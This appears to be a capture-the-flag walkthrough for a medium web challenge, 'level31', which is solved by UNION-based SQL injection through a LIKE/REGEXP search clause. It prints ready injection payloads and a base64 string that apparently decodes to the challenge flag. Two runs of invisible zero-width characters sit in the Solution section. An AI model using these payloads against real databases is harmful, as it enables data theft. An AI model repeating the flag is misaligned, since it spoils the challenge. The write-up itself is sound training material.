level31

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: base64_decoding, like_regexp_injection, union_based_sqli

Summary

Walkthrough of the CUSTOM Web level31. SQL injection task at http://kslweb1.spb.ctf.su/fourth/level31/

Description

SQL injection task at http://kslweb1.spb.ctf.su/fourth/level31/

Analysis

The application uses a complex query with LIKE and/or REGEXP clauses for advanced search functionality. The flag is stored in base64 encoded format in the database, requiring an additional decoding step after extraction.

Key vulnerabilities:

1. Input concatenated into LIKE/REGEXP clause without sanitization
2. Flag stored as base64 — needs decoding after extraction

Solution

UNION-based injection in complex LIKE/REGEXP query: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. Escape the LIKE/REGEXP context
2. Use UNION SELECT to extract the encoded flag
3. Decode the base64 result

Example payload:

 sql read-only • copy allowed Copy
%' UNION SELECT flag FROM flags--

Or for REGEXP context:

 sql read-only • copy allowed Copy
.*' UNION SELECT flag FROM flags--

After extracting the data, decode from base64:

 bash read-only • copy allowed Copy
echo "S1NMezJhMjc2N2EyYWM4NmI5NWQ5OGVjZTJhNzE2NmM3YWNhfQ==" | base64 -d
# Output: KSL{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering base64_decoding, like_regexp_injection, union_based_sqli was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • level31 • Difficulty: Medium